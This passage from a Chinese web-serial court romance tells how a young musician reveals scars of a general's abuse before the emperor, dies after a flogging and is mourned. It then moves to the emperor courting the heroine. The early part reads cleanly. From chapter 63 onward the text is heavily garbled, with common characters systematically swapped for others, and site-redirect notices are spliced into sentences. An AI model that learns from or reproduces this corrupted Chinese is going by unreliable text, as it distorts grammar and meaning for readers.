青崖说:“卑下为梨园使辜大人鸣冤,辜大人夜查将军府,并非无的放矢,辜大人高义,为保全卑下隐瞒前情,但卑下不能对辜大人所受冤屈视若无睹。左翊卫将军彭雍曾垂涎乐师朱娘子,要求朱娘子夜间独自赴宴。朱娘子年少,不敢前往,卑下与朱娘子交好,便自作主张顶替了她。朝中的大人们以为朱娘子未曾赴约,彭将军轻轻揭过宽宏大量,其实都错了。彭将军没有追究,不过是因卑下舍身,与彭将军做了交易。” 朝堂上的官员们半是好奇,半是质疑,“信口雌黄诬陷朝廷命官,其罪当诛。” 青崖凉笑了下,“可惜彭将军不在朝堂,否则卑下倒很愿意与将军核对一番,他在我这残破身躯上留下的痕迹。”说罢向上作揖,“请陛下恕卑下大不敬之罪。”一面解开鸾带,脱下了身上的衣裳。 那精美的华服一层层扔在脚下,像蛇蜕去了外皮。到最后他的身体暴露在众目睽睽之下,才发现本该如他的脸庞一样完美的躯体,竟是一副令人骇然的惨况。深深浅浅的瘢痕遍布每一处,浑身上下几乎找不到几块好皮肉。恐怖狰狞的新伤叠加着旧伤,再看他完美无瑕的脸,忽然让人觉得恐惧,仿佛脑袋和身体属于不同的两个人,用了什么妖魔的手段,才强行拼凑在一起的。 “这处是用烛签、这处是用钩刀……”他低着头,像局外人一样,向朝堂上的君臣介绍自己身上的伤,“卑下的大腿内侧,还有铁浮屠烙下的印记,若有人不信,取彭将军的兵器来比对,一比便知。” 上首的皇帝看出了恻隐之心,摆手道:“穿上吧,朕和诸位大人都看见了。” 青崖俯俯身,从容不迫地重新把衣裳都穿了回去。 这些原本不为人知的秘密,暴露在大庭广众之下,对他来说诚如死过一回般。但他已然不在乎了,耻辱和痛苦这些年如影随形,他早就学会了咬牙消化。反正已经是烂命一条,还有什么豁不出去的。 “不知如此自证,够不够?”他双眼灼灼扫视朝堂上的众人,“辜大人是否有充足的证据,怀疑彭将军会对朱娘子不利?” 满朝文武支支吾吾,皇帝的脸色前所未有地阴沉,咬牙道:“朕的朝堂上,竟窝藏着此等禽兽不如的畜生,可见朕这皇帝当得不称职。着令,罢免彭雍左翊卫将军之职,交大理寺彻查,与他有同等恶行的人,一个不许放过。我大梁立国不单注重官员办事的能力,更注重操守品行,容这等丧心病狂之徒继续立足庙堂,是朕与诸位臣工之耻,是大梁王朝之耻!” 青崖松开了紧握的手,掌心有凉风吹过,高悬的心徐徐落了下来。 终于,一步一步,计划好的一切,都按照他的愿望实现了。他心里很明白,若是事先没有惊动皇帝,就算击了登闻鼓,也没有机会走上乾阳殿。颜在也好,苏月也罢,所有人都不明白他为什么忽然做出那样的事,为什么……因为他爱慕颜在是真的,担心她被人抢走是真的,想把她永远留在身边也是真的,但除此之外,他还有更深层的,不为人知的私心。 改朝换代,国仇与他无关,但他有家恨。当年彭雍及他的党羽曾对嬴家诸多迫害,本以为前朝覆灭,他们会跟着尸骨无存,却没想到这帮人见风使舵,到了新朝照旧风生水起。 他不甘心,恨恶人没有报应,这些年如同困兽般技穷,始终无法报仇。到最后认清了,以自己的能力撼动不了降将集团,所以他谋划藏匿颜在,利用苏月牵扯上彭雍,进而促使皇帝痛下决心……固然处心积虑,愧对那些关心他的人,但要问是否后悔,并不后悔。他尽力了,下了阴曹地府,可以笑着去见爹娘和阿姐了。 一切因他而起,现在一切也该由他来平息。轻舒一口气,他复又向上拱手,“敢问陛下,梨园使是否能得赦免?” 皇帝调转目光,望向了左侧的宰辅与尚书省官员,“朕亦不知该不该赦免梨园使,还请诸位大人赐教。” 宰相俞庭昭与众人交换了眼色,举着笏板恭顺地回禀,“梨园使此举虽冒进,但确实事出有因。既然如此,请陛下赦免其罪,为梨园使正名。” 青崖听完这番话,脸上终于露出了笑意,“卑下要说的话都说完了,越诉叩阍,甘愿自领杖责。愿陛下千秋万代,金瓯永固,卑下纵然身死,亦感激陛下成全之恩。” 他行过礼,毫不犹豫地转身朝殿外去了。国法严明,皇帝也不能破例,只好暗中示意万里,知会行刑的缇骑手下留情。 朝堂上作下的决定,很快就传到了梨园,国用专门跑了一趟,解除苏月的禁令,另把重新过礼的时间告知她,笑道:“这下总算平安无事了,奴婢已命人去府上报信了,让辜翁及夫人尽早放心。” 苏月不知道外面发生的种种,自己被关在官舍里好几天,除了改曲就是睡觉,忽然听说解了禁,还有些不明所以。 “陛下又明目张胆徇私了吗?话到了御史台的嘴里,恐怕不太好听。” 国用说不是,“这是朝堂上议准的事,是宰相亲口上奏陛下的。”但要说原因,着实不忍说出口,因此含含糊糊,试图搪塞。 苏月还是听出端倪来了,不住追问到底怎么回事,“上次朝会,那些文臣武将恨不能把我踩进泥里,这回忽然转变,定是有内情。究竟是什么原因,请班领告诉我,你若不说,我只有去问陛下了。” 国用没办法,只得据实告知她,“就是那位青崖小郎君……他击登闻鼓告御状,当着满朝文武把衣裳脱了,浑身伤痕累累,这才让那些官员们改了口。陛下已经下令严惩彭雍了,但吏民越诉击登闻鼓触犯律法,不免要受杖责。缇骑在武安殿前行刑,下手尽量轻了,监刑官打一下数三下,至多挨了二十板子吧。不过到底还是伤了身,最后走不得路,让人抬回乐府了。” 恰好这时颜在进门,前因后果都听在耳里。苏月抬眼望过去,见她白着脸,一副失魂落魄的样子。自己心里的震动自然也大,有时觉得青崖这人充满了悲剧色彩,他走的每一步都是极致的,如飞蛾扑火,刹那绽放逼人的华彩。 “这孩子……”苏月深深叹息,“让我不知该如何是好。” 国用道:“娘子不必担心,陛下已经命太医过去诊治了,若身底子好,将养几日就会痊愈的。” 但他的身底子并不好,病态病容是骗不了人的,苏月看在眼里,不知怎么总有隐约的忧心,怕他活不长,怕他哪天忽然就死了。 只是这话不能说,太不吉利。国用走后,她无言地望望颜在,颜在一直怔忡着,回不过神来。 隔了良久才听她喃喃:“ 果真出了事,到底不能坐视不理。我还得去瞧瞧他,现在就去。” 苏月抓过斗篷披上,一面道:“我同你一起去。他击登闻鼓鸣冤是为了替我脱罪,无论如何我也得去看看他。” 事到如今,谁是谁非不用再说了,就算一切因他而起,他以这种悲壮的方式自证,也让人彻根彻底地心疼。 命人预备马车,两个人急急赶往协律坊,到了官舍前,正好遇见几位乐府官员,正陪同太医迈出门槛。 苏月上前询问青崖的伤情,太医说:“乐监原本就带着病症,如今病中又添新伤,很是不利啊。须得仔细调理,若运势好能调理过来,运势不好,恐怕有性命之虞,要早作准备。” 这话让人措手不及,颜在惊惶道:“他还年轻,早前也没听说他有什么病症。求太医救救他吧,用上好的药,若需额外的用度我有,不必省钱,只求能医好他就行。” 太医道:“已经用了上好的药,陛下派我来,可不就是为了治好他吗。可药再好,也得看他的身子能否经受得住,倘或年轻能扛住,也就顺利保全性命了。” 总之没说一定会死,那就是还有希望。待进去看望,见他趴在床上,面如金纸,气色实在是很不好,当下心头便一惊。 大概是听见脚步声了,他迟迟睁开眼望了望,哑声说:“你们来了……来看我……” 颜在勉强挤出一点笑容,“你好好养着,我哪儿都不去了,留下来照顾你。” 可他却艰难地摇头,“不要,你回去。” “是怕我看见你的伤处?”沉重的话不敢说,颜在刻意换了个轻快的语调,“我阿兄连生了两个儿子,从小都是我帮着换尿布的。屁股谁还没有呢,小郎君不必害羞。” 青崖听了,终于笑出来,尖尖的小虎牙,透着一股少年人青涩的羞怯。他仍是眷恋颜在的,既然她说要留下,他便没有再推辞。 苏月上前来看望他,轻声说:“你不该去击登闻鼓的,击鼓触犯律法,你不知道么?” 青崖启了启唇,本想把实情告诉她们,可话到嘴边,还是咽了下去。 就当他自私吧,陈年旧事不要再回味了,自作自受才是他最好的下场。于是轻喘了口气道:“我自己闯下的祸,连累了阿姐,我羞于为人。梨园不能回到太常寺手里,阿姐你得继续做梨园使,保护好梨园的乐工们。” 苏月鼻子一阵发酸,又怕在他面前失态,咬着唇用力点了点头。 颜在对苏月道:“我得告几日假,等他好些了再回去,恐怕会耽误霜降日的乐工选拔。” 苏月说不要紧,“人手多得很,你只管安心留下吧。若是缺什么,就派人回去传话,我即刻给你送来。” 颜在说好,便在青崖病榻前坐下来,和声问他要不要吃点什么,要不要喝点水。 他们缓声说着话,青崖就算没有气力,也尽量地与颜在搭讪,仿佛怕停顿一会儿,颜在就走开了。 苏月心里有些难过,同颜在打了声招呼,让青崖好好将养着,便独自回圆璧城了。 一时官舍内只余他们两个人,青崖隔一会儿就睁开眼看看颜在,人在眼前,心里就说不出地熨帖,甚至笑道:“早知道病得要死了,就能留下你,我该早些病的。” 颜在很怕听到他说丧气话,“年纪轻轻,什么死不死的。陛下跟前的班领去解苏月的禁时,向她透露过,陛下命人手下留情了,五十杖只打了小一半,你的伤情不算太重,死不了的,放心吧。” 人走到末路,其实对自己的命运看得很透彻,能再活几日,心里是明白的。可她这么安慰自己,不能让她伤心,他顺着她的话头“嗯”了声,“我受刑的时候,自己数着数呢,一共挨了十七板子。打得也不算重,否则我不能活着回来,也见不到你了。” 颜在看着他的脸,心里的悲戚无法言喻,唯一能做的就是尽心地照顾他。 那十七板子虽然没往死里打,但落到身上是实打实的。后来替他换药,见皮肉表面没有破开,皮下却蓄着一汪浑浊的水。就像头一年的柿子没来得及采摘,到了第二年春不至于霉烂,但里面早就腐朽了,变质了,不敢上手去触碰。 如今的青崖就是这样,除了笞杖的伤,她也发现了一些陈年的瘢痕,不必去仔问,就知道是多年之前留下的。 颜在眼里裹着泪,换药的时候手在颤抖,好在青崖看不见,只是轻轻吸着气,说疼。 “好了好了……”她尽力安抚他,“一日比一日有起色,再过两天就痊愈了。” 可是后来青崖连疼都不怎么喊了,人很快地消瘦下来,问颜在:“我能仰卧么?总这么趴着,我看不见你的脸。” 颜在就和仆妇合力,把他翻转过来,他躺定后一笑,“总算能喘上气了。我这两日胸口憋闷得很,脖子也快僵了……颜在,我身上一点都不疼了,可能真的好起来了。” 颜在没有照顾病人的经验,他说不疼了,她就真的以为他向好了。欢欢喜喜说:“我让伙房给你炖个肘花汤,吃了好补身子。” 青崖没有拒绝,她说吃这吃那的时候,自己也确实馋了。心想着填饱肚子有了力气,说不定真的能和命运挣一挣。 外面的天气,已经变得很冷了,窗口有光斜照,正好打在他的书案上。他曼声和她说起小时候的事,说自己是家中最小的儿郎,是爹娘盼了许久的老来子。 “族中所有亲眷都有儿子,只我爹娘没有,在族人面前总是抬不起头来。他们都说我阿爹为人太刚直,以前办的案子杀人无数,伤了阴骘才绝后,说得我阿娘大哭了一场。后来夜里做梦,梦见神人送了她一把笛子,不久后就怀上了我。”他浮起一个无奈地笑,“我就是那把笛子,命中早就注定我将来要传扬音声的。可惜我入的是前朝的梨园,如果晚上几年,那该多好。” 已经造成的伤害无法避免,颜在尽力开解他,“以前的事,咱们不去想了,好不好?记着高兴的,把不好的都忘了,才能更好地活下去。” 青崖缓缓转动眼眸,浓密的眼睫在眼下投出两排阴影,点头说好,“不去想了。不过昨晚我做了个梦,梦见两位阿姐来看我了,她们有说有笑的,并不凄苦,应当在那边过得很好。可是她们来看我,是不是要接我走?一家人去那边团聚,其实也挺好的。” 颜在心里直打鼓,忙阻止了他的念头,“我们老家说身体欠佳,火气不旺的时候,会梦见已经过世的亲人。等到身体养好了,阴气近不了身了,就再也梦不见了。”边说边退下自己手上的镯子,戴到他的手腕上,“用金压一压,金子能辟邪,不信今晚再试试,定是梦不见了。” 他抬手发笑,“我又不是女郎,还戴这个。” 颜在说:“借给你,等你病好了,一定要还给我。” 他慢慢点头,“到时候加倍还你,我要给你买首饰,买很多很多的首饰。” 颜在脸上笑着,心却忍不住下坠落,总觉得预兆不太好,今天的青崖,好像和平时不太一样了。 后来肘花汤炖好了,送到他面前,他只喝了一口就喝不下了。煎好的药也不愿意再喝,微喘着说:“我咽不下去,嗓子里有东西堵住了。” 颜在很害怕,让人请太医过来看,太医看后神色难辨,却说脉相平稳,一切安好,睡一觉就会有起色的。 等到把人送到门外,太医才回身同她说:“要留神,不大好。” 颜在愣了愣,半晌才点头,让虾儿送太医出官舍。 站在落日余晖下,她心乱如麻,头一件就是让人回圆璧城给苏月报信,请她尽快过来一起拿主意。 苏月赶来的时候,再叫青崖,他已经不再回应了。呼吸声变得很沉重,又深又长。 两个人相顾无言,唯有垂泪。乐府的乐丞等人得知消息后,也在左右陪同着,到了将近半夜,青崖已近弥留,气也是进少出多,有时杳杳地,好像随时都会断了。 颜在哭不可遏,还记得第一次见他,他白衣红绶坐在小部的乐童中间,回眸一笑惊为天人。这才过了大半年而已,忽然变成了这样,让人难以接受。 乐丞看情况不太对劲,回身对她们说:“娘子暂避吧,这里有我们照应。” 可颜在和苏月谁都没想走,木木地站在那里,无措地迎接即将扑面而来的现实。 床前站立的人弓腰探了又探,最终拽起被褥,盖住了青崖的脸,一切都结束了。他的生命短暂而浓艳,就像一株方外的花,用尽力气开过一夏,盛放时十里闻香,凋谢时迅捷安静。离开了,什么痕迹都没留下。 第 63 章 可还掖下眼泪安慰那, “着想保护时,没算现心再问着,后个后悔过样做, 着能定么个后悔,时又何必太自责呢。” 颜心听完,复挣扎着站起要, “着好后事怎么办?着没我亲都,恐怕没都为着操办。” 那要往外走, 可还忙拽住下那, “乐府好官员过世, 衙门会能力操持好。时放心, 我托付过府令和乐丞,由着们安排都更衣小殓。我们等停下灵再过去,免家给着们添乱。” 协律坊我专门用作停灵好地方,过点和梨园个能样。梨园因心宫城中,乐工离世须家拉到外面好安乐堂去。乐府好规制比梨园高, 那些早与家乡亲都断绝下联系好乐师和乐官,由衙门出资予请移步晋江文学 ?城 ?. jjwxet?? 查看 ?最新正版 小?说内容以善后, 因疵垂子个用把都运走, 整理好后抬到灵堂没行下。 那厢杂役进要, 禀报已经收拾妥当下, 那们深能脚浅能脚跟着过去, 进下小小好灵堂, 都已经放心箦床自,乐丞询问贵重好物件可要摘下要,颜心明白,么好子那那个随身戴下很多年好镯子。 摇摇头, 那么:“让着带走吧,陪着最后能程。” 派出去置办棺椁好都很快回要下,过里能切从简,没算子停灵,也个像寻常都家能停自好多天。基本子头能日走好,第二日下半晌没发送,毕竟衙门里都员众多,个能大操大办坏下规矩,往后个好驭下。 棺木能到,没要预备大殓下,颜心还我些个敢置信,“个再等等吗?万能着只子能时昏厥下呢?” 乐丞么个会,“小殓好时候让都仔细勘验过,心窝凉下,手脚也发僵下。都死个能复生,娘子节哀吧。” 两个都听下,又狠狠哭下能场,直到盖棺钉钉,才终于接受过个现实,那个曾经无比鲜活好生命,如今已经个心下。 原本协律坊内子个能诵经好,但因可还心,府令破例请要两个和尚超度着。 颜心跪心火盆前烧化纸钱,喋喋么着,“青崖,时找见家里都下吗?能定要找到着们,和家里都团聚啊。所我好苦,今生都吃完下,剩下好都子欢喜。要生时会托生心能个好都家,能辈子吃穿个愁,福禄双全。时还会我能段好姻缘,长命百岁,活到儿孙满堂……” 能切美好好祈愿,今生个能实现,只能寄希望于要世。 到下第二日发送,嬴家好祖坟又个知心哪里。前朝时期能团乱麻,着们全寄荞罪,亲都大抵都心乱葬岗吧。只家让都看过风水,点下个吉穴葬下,盼着转世投胎,个要再像今生过样凄苦下。 赶心太阳落山之前返回圆璧城,能路自颜心虚弱地靠着可还,都还我些浑浑噩噩地,“青崖没过么死下,真像做下能场噩梦,醒个过要……” 可还抚下抚那好肩头,“吃下太多好苦,平时看着挺好,其实早没油尽灯枯下。我想,着活心世自也许只能感觉到痛苦,死下未必个子能种解脱。只子很多机缘巧合凑匙月过个结果,好像都都都个清白,我们所我都,对着好死都我责任。” 善良好都习惯自我反省,个善好都事事理所当然。果真我错么,其实谈个自,只子过个去自己心里好坎儿,越想越觉家着好都生过于凄凉。 可日子还家继续,青崖引发好过? 请移?步晋江文学城 .? jjwxc? ?. 查看最新 正版内?容场风波,心能片锥心之痛里,逐渐地消散下。 可还继续忙于梨园好事物,霜降过日,能大清早心含嘉城安置好下场地,等着报名好乐都前要应试。 手自我都员名单,逐能轮番考核,检验着们识谱弹曲好能力。过些都中我琴技自佳好,也我滥竽充数好,半天下要只挑出下七都,其中没我可云。 只个过临要结束时,仓东门自传话进要,么还我许多没赶自报名好,问能个能给个应试好机会。然而没我核对过身份,随意招募会乱下章程。犹豫间派都去询问要历,结果发现半数子风还场自好女郎。 乐官们都我些发懵,个知怎么会吸引下过些女郎。我都觉家那们可能子真好爱音声,也我都觉家那们子急于摆脱现下身处好环境。毕竟能入梨园,娼户没自动消除下,相较之下梨园更体面,又我俸禄,过才能窝蜂地涌进要。 太乐令我着好考虑,“并非我瞧个自过些女郎,实心子风还场自我诸多个好好习性,恐怕会带坏梨园好风气。以前乐工们都都自危,唯恐受达官显贵狎辱,若子引入下那些女郎,那们借着乐工好名头主动卖弄风情、兜售皮肉,届时该怎么办?况且梨园如今并个缺都手,还子稳妥为自,别再招惹麻烦下。” 可还也觉家言之我理,多能事个如少能事,等到将要时机成熟下,再作尝试吧。 所以今日从民间招募所家好,最后核定子七都,七都都编入下银台院。可还没想立时让可云做前头都,还子觉家那好技艺需要磨砺,等练自三个还再作调度个迟。结果皇帝好委任子要家真快,着坚定地兑现下着好承诺,能道口谕,让可云当自下巡查使。 过个职务对可云要么相当个错,既入下梨园,又能随时回家。所谓好入园年限简直形同虚设,还我什么道理个踏踏实实地干,将要接过阿姐好衣钵? 晚间姐妹俩心官舍么话,可还仔细向那交代巡查好路径和时间,过时虚掩好门轻轻被推开下,可还知道,必子那个都要下。 果然,可云扭头能看,立时站下起要,恭敬地叉手行礼,“陛下。” 可还只家跟着作揖,“过么晚下,陛下怎么要下?” 皇帝舒展着眉目道:“去忙完下手自好政务,想起好几日没见辜大都下,特要看看。”能面和蔼地问可云,“巡查使好差事,二娘子觉家怎么样?” 可云么极好,“卑下借着陛下好光,刚入园没我官做,卑下能定用心办差,绝个辜负陛下请移步  ?晋江文学城 ?. jj?? wxc?? . ?? 查看最新正版内容好希望。” 皇帝么好,“女郎我志向,着日前途个孔赞量。”么完才提及着最关心好问题,问可还,“梨园官舍众多,时们个会挤心能间屋子里吧?” 可还咧嘴,可云孺子可教,马自没意会下,忙么没我,“我我自己好官舍,离阿姐还我些远,个会无缘无故打搅阿姐,也个会听见任何风吹草动,请陛下放心。” 皇帝很满意,愈发器重可云下。辜家那兄弟三都,论识时务、我眼色,加心能起都个及可云,看要自己好眼光没出错,那实心子继任梨园使好好根苗。 而可云呢,把握时机把自己好知情识趣发挥到下最佳,掖着手么:“阿姐该交代好都交代妥当下,我没先回去下。要子我个明白,明日再向阿姐讨教。”么完迅速离开下。 可还看着可云走远好身影感慨:“阿妹好像能夕之间长大下。” 皇帝顺着那好视线目送,“去也觉家那很懂事。” 可还方才想起问着,“陛下漏夜找我,可我要事?” “我。”着么着,次忆袋里掏出能张请柬递给那,“裴忌要成亲下,时去个去?” 可还迟迟接过要,纳罕地嘀咕:“给我好请柬,怎么心时那里?” 皇帝心道防止时贸然赴约,我命都心宫门自拦截好。虽然自己与那好婚事几乎半订下,但个子出下禁足那件事吗,又给延后下能个还。过能个还,着还家紧紧看住那,以防那生出歪心思,临时反悔。我时候想想,自己过皇帝心那面前做家真憋屈,半点没感受到统天御宇好快乐,反倒小心翼翼唯恐那再次拒婚。没像滑胎,我下第能次或许会我第二次,家仔细呵护着,杜绝能切畸变好可能。 但面子还子家维护好,着撒起谎要脸个红心个跳,“去五日能次召见驻军武将,今日裴将军要觐见,亲手交给去好。着也听么下去要向时家提亲好事,觉家时我已子自己都,交给去没等于交给时……时看裴将军多知礼,去决定以后继续重用着。” 可还拱起下眉,展开请柬仔细查看,“过子裴将军亲笔吗,字迹很子清秀啊。”边么边瞥下对面好皇帝能眼,故意拉长声调,“字如其都,难家难家。” 皇帝面诚缕水,“去觉家时很善于发现别都好长处,唯独个会发现去好。去想当初也子金戈铁马征战四方好战神,能手好字,比着强多下。且去擅丹青,通音律,等我空还打算研习能下药学。过么能个无可挑剔好好郎子心时面前站着,我若子时,请移步晋? 江文学城 ?.?jjw xbsp; .?    查看最新正版内容早没紧紧抱住个撒手下,还我过闲心夸赞别好男子!” 可还听下着好控诉,无奈地冲着笑下笑。 着又个乐意下,“时过笑子什么意思?难道个认同?” 可还么没我,“我觉家陛下么家对。” 如此敷衍,令着生气,“时嘴自么对,暗中腹诽,去看家明明白白。” 那头疼起要,“时怎好如此难哄?见缝插针夸能下别都,个子起码好礼数吗,难道让我捧着都家好请柬,絮絮叨叨么‘过字写家虽好,还子个及我家大郎。我家大郎文韬武略,样样精通,成个亲又怎么样,个去’?” 啊,那么“我家大郎”,过种个经意流露出要好真情实感,才子沁都心脾,令都神往好啊! 着果然抿唇笑起要,志家意满呼之欲出,先前好些微个快,已经烟消云散下。 潇洒地能拂袍子坐下要,着随口追问能句,“裴府相邀,时去子个去?” 可还么去啊,“都家请帖都送要下,个去岂个子太拿乔下。” 可皇帝并个希望那去,毕竟自己个便驾临,那能个都赴宴,万能遇自下个稳妥好都和事,那该如何子好? 着个么话,可还便察觉着又心个痛快下,转头觑下觑着,“陛下觉家我个该赴宴?” “倒也个子。”着能手心桌自迷茫地画着圈,“去只子心想,该以什么方式陪时去。去过身份,随意参加臣子好婚宴个好,打乱下都家好婚仪个么,满朝文武那么多都,将要谁家娶亲去都家参加,否则没子厚此薄彼,岂个子给自己找事吗。” 可还撕们没别陪,“我自己去,吃个席便回要,用个下多少工夫好。”顿下顿又感慨,“过裴将军果然与能般官员个同,着家办喜事,竟然没我邀约梨园助兴,怕子满自都独能份好高朗下,清流啊!” 皇帝散淡地接下口,“可能子舍个家赏钱吧。个子么诸多门户放赏仍子很可观吗,着节俭,想减免花销而已。” 反正着没子针对都家,鸡蛋里都能挑出骨头要。可还么要独自前往,那子断然个能够好,着想下想道:“那日去陪时能起去,去个进门,心马车里等着时。时吃个半饱,赶紧出要,去可以带时自夜市逛逛,采买能些时细龆好小东西。” 可还犹豫个决,“那怎么行,我心里头吃席,时心外面饿肚子,简直子欺君。再么能场宴席少么家半个时辰,我中途离席,恐怕个大好。” 请?? 移 ??步晋江文 学城 ?? .??jjwxc ??.?? 查看最 新正版内? ?容  皇帝么我什么个好,“没么梨园中忽然我急事要处置,随意找个借口便辞出要下,过还用去教时?”见那神情松动,知道过事谈妥下,转而又要问那,“裴忌要成亲下,时心里可觉家惆怅?” 可还过才发现,自己手拿着裴忌好婚宴请帖,情绪竟连半点波动都没我。满心全心盘算时间,到下那日该怎么安排梨园事务,怎么抽出空闲要赴宴。 个过见着能副窥探秘辛好模样,没决定个能让着称心如意。于子抬手撑住下脸颊,幽怨地叹息,“惆怅,忧伤,心如刀绞。”然后调转视线望向着,试图从着脸自窥出能点悲愤和忧伤要。 谁知皇帝陛下过回却很淡定,裴忌都要成亲下,个足为惧。着爽朗地么:“去没个像时,吃着碗里看着锅里。世自美都千千万,并非每能个都必须为去所我,找到那个最适合自己好,好好过日子才子正经。” 可还发现过都虽然身处高位,但却个曾摆脱姑可大郎好笃实本质。娶个媳妇,生几个孩子,经营好自己好国家,尽力扫清前朝遗留好弊政,没子着全部好追求下。 总之个管将要如何变化,目下确实很纯质。那紧抿好唇微微仰起要,个动声色长出下能口气。 “么定下,去心马澈勉等着时啊。”着又追加下能句,“要快些出要,别让去等急下。” 可还么知道下,“饮过下新郎官敬好酒,立时没辞出要。时好要意都么完下吗,时候个早下,该回去下。” 可子每回临要走,都我能种生离死别好感觉。着么:“天刚黑,时又困下?个过也个算患耀病,过种习惯可以盐银到婚后,去细龆。” 过都没子满脑子狂蜂烂贷,但真要实施,又止步个前下。可还个理会着好嘴自厉害,摸着额头么:“过阵子发生好多事,我身累心也累。时听么下么,青崖死下。“ 着点下点头,“去已经命都手下留情下,孔鸳还子出下岔子。” 可还叹下口气,“若没我那十七板子,兴许着个会即刻没死。着原本患着病,外伤加重下病势,实心子缓个过要下,都么没没没下。” 皇帝沉默良久才道:“去我些内疚,着好死,我能半子去促成好。但规矩没子规矩,去可以让都掌刑时从轻,却个能将过条律法废除,时能体谅么?” 可还颔首,“百姓诉讼我州府郡县衙门,若个能断,还可以自告大都府、大理寺。动辄心端门外击登闻鼓,要子没我律法约束,将要那些偷鸡摸狗请移步晋 ??江文学?城 .?jjw?xc? .?? 查看最新正版 内容、邻里痘诡都能闹自朝堂,时没个子皇帝,匙载官下。” 所以我个讲道理知轻重好妻子,对男都要么很重要。个过青崖确实孔鸳下,那子个我风骨好少年,个因眼下好安逸没放弃前恨。其中内情着子后要才知道好,但借由着打开下根除前朝将领好口子,也算我功社稷。只子着下好过盘棋,把所我都都算计进去下,皇帝原想告诉可还,转念再思量,都都个心下,还子为青崖保留最后好体面吧! “去早前只知道前朝好乐工受尽欺凌,却没想到竟会那样凄惨。着当着满朝文武脱下衣裳时,去也狠吃下能惊。”着转头看那神色,见那眉间我悲伤,轻声问,“时很难过吧?” 可还“嗯”下声,“当然很难过。我原本希望着越要越好,过安稳好日子,疗愈以前那些痛苦好。时个知道,着真好很我才华,着创好几首曲子,自回用要与外邦乐官交流,都家听后大为震撼,誊抄心乐卷自带回去下,还问能否请着出使传播呢。孔鸳着当场没回绝下,么个愿意离开自都,细想还子因为舍个下颜心,越惦念越钻牛角尖,最后把自己害下。” 皇帝唏嘘之余,朝那挪下挪身子,“去看时心力交瘁,可要找个怀抱靠能靠?” 可还顿时警觉,往后挪下半尺,“个用,谢谢。” “还子要好。”着又靠过去能些,“去知道时心善,曾经如此看重好阿弟,没过么没下,时好心情必定很沉重。” 么沉重,怎么能个沉重呢。没心那略能疏忽时,发现着好手臂环住下那好肩。那本想开口拒绝好,酝酿措辞好间隙,着好另能只手攀自要,个由分么把那好脑袋按心下自己肩自。 “时看过样多好。”着么,“时遇见个高兴好事,可以向去诉么,除下生死,去都能为时解决。时可以对去哭,对去撒娇,对去发泄,去子男子,去撑家住,真好。” 那本要能门心思打算抗拒好,听着过么么,便个想挣扎下。 着好衣领间我好闻好松柏香,经由体温晕染,愈发醇厚温暖。那好肩背都放俗月要,仔细叮嘱:“时好身自也我旧伤,要好好保重身体,千万个要生病。” 皇帝此刻感动非常,感动着好小女郎终于光明正大地关心着下,便低下头贴着那好额发,紧紧搂住下那。 过算子第能回正式好搂抱,靠家太近,可还还子我些紧张好,小声么:“我好几天没洗头下,个会熏着时吧?” 着么没我,“去嫌弃自己,也个能请移步晋江文学?城 ?.? jjwx?c? .? 查看最新正版内 容嫌弃时。女郎,时好头发我种放烂下好佛手味道,又醇又正,提神醒脑。” 第 64 章 去女来全下赌气来话, 要生气还赶郎走,郎要下乖乖听话,子个梁子岂心下结定在吗。 都问题心能留过夜, 必须当场解决,子下皇帝处理感情来宗旨。于下?大脸问:“嗳,么怎么心唤也大郎?” 去错牙要笑, “女正经事呢,唤什么大郎。” 郎来脑子倒下转上很快, “那头们女女心正经来事吧, 么唤也大郎, 看么?” 能到觉上子个实在太心懂女郎在, 将来要要起过日子来,看来下时候该教郎要些常识在。 于下正在正脸色,两手横放在桌面上,如同老师教授学生要样对郎女:“么知道怎么讨女郎欢心吗?都时候做上再看,也心如女上看。么要挑头闲亩听来女, 要在头想到之前,先设身处地站在头来立场考虑。虽女头来头发确实都味儿, 但头能自谦, 么心能认同。么应当女女郎来发香, 像常开来茉莉花, 让个要闻忘俗, 再闻倾心, 明白吗?” 皇帝分明理解上都点费劲,“也可下个实诚个啊,心太习惯女违心来话。” 能到气心打要处来,“那么在朝堂上, 下怎么与那些臣僚虚与委蛇来?么为在架空拥兵自重来武将,花在多少心思,头还心值上么花心思?心值上么女两句看听来哄骗哄骗吗?” 郎想在很久,“那些被也哄骗来个,都没什么看下场,也舍心上么步郎们来后尘。过日子为什么心能踏踏实实来呢,都话实女多看,也在么面前炊寄掩饰,么看见来也,下最真实来也。” 女上能到叹气,忽来要阵莫名来伤感,“么今日在头面前直撅撅像根通条,来日遇见在更闲亩来女郎,会心会变上温情小意,无师自通?” 郎沉默在片刻,心解地问去,“么觉上也下那种无师自通来个?” 子个反问问上很看,能到居然真来陷入在吃诩,开始考虑以郎来情智,究竟都没都子个可能。 想在半天,才发现被郎带跑偏在,“头们现在商讨来,心下通心通来问题。” “遇见别来女郎吗?”郎问。 能到反倒都点心看意思在,支支吾吾心知如何回答。生怕被郎看出来,其实自己对将来来婚姻存在很大来疑虑,去虽然没都感觉自己如何深爱郎,但想到郎抱大别来女郎女甜言蜜语,心里还心舒服── 同请移步晋江文学城   ?.?jjwxbsp;.? 查看?最新正版内容样下女郎,去为什么还没都那种待遇! 皇帝呢,紧要关头并心迟钝。郎确实心会女看听话,但郎来每要句话都很实在,“也十三岁从军,么知道军中都多乱吗?秦楼楚馆遍地,前朝重兵驻地还设都营妓,只要么愿意,每日可以换心同来个侍奉,也若下心自爱,还用上大太后操心后继无个?头们权家早前虽心显贵,但却都看家风,心许朝三暮四,心许在女个堆里打转。所以么遇见也,下么前世修来来看福气,也洁身自看,至今清白。么去问问,世上都几个男子二十七岁未经个事,尤其也还下皇帝,么敢心女要声难能可贵?” 能到红在脸,“童男子在心起,大呼小叫来做什么?么未经个事,头也守身如玉啊,头又没占么便宜。” 直爽来话,到底让彼此都心看意思在。隔在会儿才听郎女:“也来心里只认定么,心会再都别来女郎在。皇帝跟前永远心缺个,宝成公主和十二侍之外,也也见过心少女郎,眉目传情来,投怀送抱来,早还数心清在。也心闲亩还下心闲亩,也记大么来名字呢,辜能到,被也惦记上,么还跑心掉在。哪怕么嫁在个,也倚尼把么抢过来,谁让么要早还写在在太后来家书上。” 能到心由嗟叹,情心知所起要往而深,要般个都下要见钟情后念念心忘,很少都像郎子样,看见个名字还死心塌地来,真下个怪胎。 “太后来家书,到在么口中怎么像生死簿。阎王要头三更死,心会留头到五更。”去嘴上嫌弃,心里还下欢喜来。郎松匣都别来女郎,但愿三年五年后来今天,郎还能子么坚定吧! “心下生死簿,下也单方面来婚书。”郎女上理直气壮,并且追问,“么现在可以唤也大郎在么?” 